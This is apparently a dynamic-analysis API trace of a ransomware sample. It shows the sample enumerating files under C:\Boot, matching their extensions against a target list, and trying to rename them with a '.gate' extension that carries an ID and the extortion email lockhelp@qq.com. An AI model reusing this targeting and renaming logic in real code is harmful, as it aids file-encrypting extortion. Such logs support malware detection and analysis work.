(lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.271] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.271] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.271] lstrlenW (lpString=".doc") returned 4 [0273.271] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.271] lstrlenW (lpString=".docx") returned 5 [0273.271] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.271] lstrlenW (lpString=".pdf") returned 4 [0273.271] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.271] lstrlenW (lpString=".xls") returned 4 [0273.271] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.271] lstrlenW (lpString=".xlsx") returned 5 [0273.271] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.271] lstrlenW (lpString=".ppt") returned 4 [0273.271] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.271] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.271] lstrlenW (lpString=".zip") returned 4 [0273.271] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.271] lstrlenW (lpString=".rar") returned 4 [0273.271] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString=".bz2") returned 4 [0273.272] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString=".7z") returned 3 [0273.272] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString=".dbf") returned 4 [0273.272] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString=".1cd") returned 4 [0273.272] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString=".jpg") returned 4 [0273.272] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString=".doc") returned 4 [0273.272] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString=".docx") returned 5 [0273.272] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.272] lstrlenW (lpString=".pdf") returned 4 [0273.272] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString=".xls") returned 4 [0273.272] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString=".xlsx") returned 5 [0273.272] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.272] lstrlenW (lpString=".ppt") returned 4 [0273.272] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.272] lstrlenW (lpString=".zip") returned 4 [0273.272] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString=".rar") returned 4 [0273.272] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.272] lstrlenW (lpString=".bz2") returned 4 [0273.272] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.272] lstrlenW (lpString=".7z") returned 3 [0273.273] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.273] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.273] lstrlenW (lpString=".dbf") returned 4 [0273.273] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.273] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.273] lstrlenW (lpString=".1cd") returned 4 [0273.273] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.273] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0273.273] lstrlenW (lpString=".jpg") returned 4 [0273.273] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.273] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0273.273] lstrlenW (lpString="kor_boot.ttf") returned 12 [0273.273] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.550] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2373000) returned 1 [0273.550] CloseHandle (hObject=0x3a0) returned 1 [0273.550] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0273.550] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.550] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0273.550] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.550] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.550] lstrlenW (lpString=".doc") returned 4 [0273.550] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0273.550] lstrlenW (lpString=".docx") returned 5 [0273.550] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0273.550] lstrlenW (lpString=".pdf") returned 4 [0273.550] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0273.550] lstrlenW (lpString=".xls") returned 4 [0273.550] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0273.550] lstrlenW (lpString=".xlsx") returned 5 [0273.550] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0273.550] lstrlenW (lpString=".ppt") returned 4 [0273.550] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0273.550] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.550] lstrlenW (lpString=".zip") returned 4 [0273.550] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0273.550] lstrlenW (lpString=".rar") returned 4 [0273.550] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0273.550] lstrlenW (lpString=".bz2") returned 4 [0273.551] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString=".7z") returned 3 [0273.551] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString=".dbf") returned 4 [0273.551] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString=".1cd") returned 4 [0273.551] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString=".jpg") returned 4 [0273.551] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString=".doc") returned 4 [0273.551] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString=".docx") returned 5 [0273.551] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0273.551] lstrlenW (lpString=".pdf") returned 4 [0273.551] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString=".xls") returned 4 [0273.551] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0273.551] lstrlenW (lpString=".xlsx") returned 5 [0273.551] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0273.551] lstrlenW (lpString=".ppt") returned 4 [0273.551] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.551] lstrlenW (lpString=".zip") returned 4 [0273.551] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0273.551] lstrlenW (lpString=".rar") returned 4 [0273.551] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString=".bz2") returned 4 [0273.551] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0273.551] lstrlenW (lpString=".7z") returned 3 [0273.551] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0273.552] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.552] lstrlenW (lpString=".dbf") returned 4 [0273.552] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0273.552] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.552] lstrlenW (lpString=".1cd") returned 4 [0273.552] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0273.552] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0273.552] lstrlenW (lpString=".jpg") returned 4 [0273.552] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0273.552] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0273.552] lstrlenW (lpString="meiryon_boot.ttf") returned 16 [0273.552] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.013] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=143754) returned 1 [0274.013] CloseHandle (hObject=0x3a0) returned 1 [0274.018] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0274.018] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.018] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.018] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.018] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.018] lstrlenW (lpString=".doc") returned 4 [0274.018] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.018] lstrlenW (lpString=".docx") returned 5 [0274.018] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.019] lstrlenW (lpString=".pdf") returned 4 [0274.019] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString=".xls") returned 4 [0274.019] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.019] lstrlenW (lpString=".xlsx") returned 5 [0274.019] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.019] lstrlenW (lpString=".ppt") returned 4 [0274.019] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString=".zip") returned 4 [0274.019] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.019] lstrlenW (lpString=".rar") returned 4 [0274.019] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString=".bz2") returned 4 [0274.019] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString=".7z") returned 3 [0274.019] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString=".dbf") returned 4 [0274.019] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString=".1cd") returned 4 [0274.019] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString=".jpg") returned 4 [0274.019] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.019] lstrlenW (lpString=".doc") returned 4 [0274.019] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.019] lstrlenW (lpString=".docx") returned 5 [0274.019] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.019] lstrlenW (lpString=".pdf") returned 4 [0274.019] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString=".xls") returned 4 [0274.020] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.020] lstrlenW (lpString=".xlsx") returned 5 [0274.020] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.020] lstrlenW (lpString=".ppt") returned 4 [0274.020] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.020] lstrlenW (lpString=".zip") returned 4 [0274.020] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.020] lstrlenW (lpString=".rar") returned 4 [0274.020] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString=".bz2") returned 4 [0274.020] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString=".7z") returned 3 [0274.020] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.020] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.020] lstrlenW (lpString=".dbf") returned 4 [0274.020] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.020] lstrlenW (lpString=".1cd") returned 4 [0274.020] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.020] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0274.020] lstrlenW (lpString=".jpg") returned 4 [0274.020] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.020] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0274.020] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0274.020] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.021] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=162331) returned 1 [0274.021] CloseHandle (hObject=0x3a0) returned 1 [0274.021] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0274.021] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.021] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.021] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.021] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.021] lstrlenW (lpString=".doc") returned 4 [0274.021] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.021] lstrlenW (lpString=".docx") returned 5 [0274.021] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.021] lstrlenW (lpString=".pdf") returned 4 [0274.021] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.021] lstrlenW (lpString=".xls") returned 4 [0274.021] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.021] lstrlenW (lpString=".xlsx") returned 5 [0274.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.021] lstrlenW (lpString=".ppt") returned 4 [0274.021] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.021] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.021] lstrlenW (lpString=".zip") returned 4 [0274.021] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.021] lstrlenW (lpString=".rar") returned 4 [0274.021] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.021] lstrlenW (lpString=".bz2") returned 4 [0274.021] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.021] lstrlenW (lpString=".7z") returned 3 [0274.022] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString=".dbf") returned 4 [0274.022] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString=".1cd") returned 4 [0274.022] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString=".jpg") returned 4 [0274.022] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString=".doc") returned 4 [0274.022] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString=".docx") returned 5 [0274.022] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.022] lstrlenW (lpString=".pdf") returned 4 [0274.022] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString=".xls") returned 4 [0274.022] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.022] lstrlenW (lpString=".xlsx") returned 5 [0274.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.022] lstrlenW (lpString=".ppt") returned 4 [0274.022] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.022] lstrlenW (lpString=".zip") returned 4 [0274.022] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.022] lstrlenW (lpString=".rar") returned 4 [0274.022] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString=".bz2") returned 4 [0274.022] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.022] lstrlenW (lpString=".7z") returned 3 [0274.022] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.022] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.023] lstrlenW (lpString=".dbf") returned 4 [0274.023] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.023] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.023] lstrlenW (lpString=".1cd") returned 4 [0274.023] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.023] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0274.023] lstrlenW (lpString=".jpg") returned 4 [0274.023] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.023] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0274.023] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0274.023] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.024] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=164347) returned 1 [0274.024] CloseHandle (hObject=0x3a0) returned 1 [0274.024] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0274.024] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.024] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.024] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.024] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.024] lstrlenW (lpString=".doc") returned 4 [0274.024] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.024] lstrlenW (lpString=".docx") returned 5 [0274.024] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.024] lstrlenW (lpString=".pdf") returned 4 [0274.024] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.024] lstrlenW (lpString=".xls") returned 4 [0274.024] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.024] lstrlenW (lpString=".xlsx") returned 5 [0274.024] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.024] lstrlenW (lpString=".ppt") returned 4 [0274.024] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.024] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.024] lstrlenW (lpString=".zip") returned 4 [0274.024] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.024] lstrlenW (lpString=".rar") returned 4 [0274.024] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString=".bz2") returned 4 [0274.025] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString=".7z") returned 3 [0274.025] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.025] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.025] lstrlenW (lpString=".dbf") returned 4 [0274.025] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.025] lstrlenW (lpString=".1cd") returned 4 [0274.025] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.025] lstrlenW (lpString=".jpg") returned 4 [0274.025] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.025] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.025] lstrlenW (lpString=".doc") returned 4 [0274.025] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0274.025] lstrlenW (lpString=".docx") returned 5 [0274.025] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0274.025] lstrlenW (lpString=".pdf") returned 4 [0274.025] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString=".xls") returned 4 [0274.026] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0274.026] lstrlenW (lpString=".xlsx") returned 5 [0274.026] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0274.026] lstrlenW (lpString=".ppt") returned 4 [0274.026] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.026] lstrlenW (lpString=".zip") returned 4 [0274.026] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0274.026] lstrlenW (lpString=".rar") returned 4 [0274.026] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString=".bz2") returned 4 [0274.026] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString=".7z") returned 3 [0274.026] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0274.026] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.026] lstrlenW (lpString=".dbf") returned 4 [0274.026] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.026] lstrlenW (lpString=".1cd") returned 4 [0274.026] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0274.026] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0274.026] lstrlenW (lpString=".jpg") returned 4 [0274.026] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0274.026] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0274.026] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0274.027] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.027] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=154427) returned 1 [0274.027] CloseHandle (hObject=0x3a0) returned 1 [0274.027] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 